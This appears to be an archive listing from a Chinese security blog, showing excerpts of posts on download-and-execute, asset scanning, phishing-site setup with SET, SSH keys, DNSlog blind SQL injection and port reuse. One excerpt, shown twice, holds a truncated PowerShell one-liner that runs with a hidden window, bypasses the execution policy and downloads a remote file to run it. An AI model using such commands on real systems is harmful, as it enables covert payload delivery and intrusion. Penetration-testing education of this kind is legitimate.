摘要：远程下载文件到本地并执行cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://12
阅读全文
|
|
01 2021 档案
摘要：远程下载文件到本地并执行cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://12
阅读全文
摘要：简介 Bayonet是整合多款安全工具并以web形式展现，它辅助渗透测试人员对IT资产进行资产管理。 功能点 子域名扫描：oneforall 端口服务扫描：shodan+异步socket+nmap（ip数据库、CDN判断） URL可用探测 驱动浏览器爬虫采集数据：crawlergo 被动漏洞扫描：x
阅读全文
摘要：由于要将钓鱼网站挂在本机的http服务下，所以需要将SET工具的访问端口改为默认的80端口。使用sudo vi /etc/apache2/ports.conf命令修改Apache的端口文件，将端口改为80，如下图所示 在kali中使用netstat -tupln |grep 80命令查看80端口是否
阅读全文
摘要：1.Linux下生成密钥 ssh-keygen的命令手册，通过”man ssh-keygen“命令： 通过命令”ssh-keygen -t rsa“ 生成之后会在用户的根目录生成一个 “.ssh”的文件夹 进入“.ssh”会生成以下几个文件 authorized_keys:存放远程免密登录的公钥,主
阅读全文
摘要：布尔盲注和时间盲注相当于猜单词的游戏，我们需要对每一位逐步的猜测，效率很低，需要发送很多的请求进行判断，很可能会触发安全设备的防护我们需要一种方式能够减少请求，直接回显数据——Dnslog注入Dns在解析的时候会留下日志，通过读取多级域名的解析日志，获取请求信息 Dnslog盲注方法 登录http:
阅读全文
摘要：原文：https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg作者： Twi1ight @孟极实验室 说到端口复用，大部分人第一反应肯定是想到内核驱动，需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能，就能以简单的方式实现这一目标
阅读全文
|
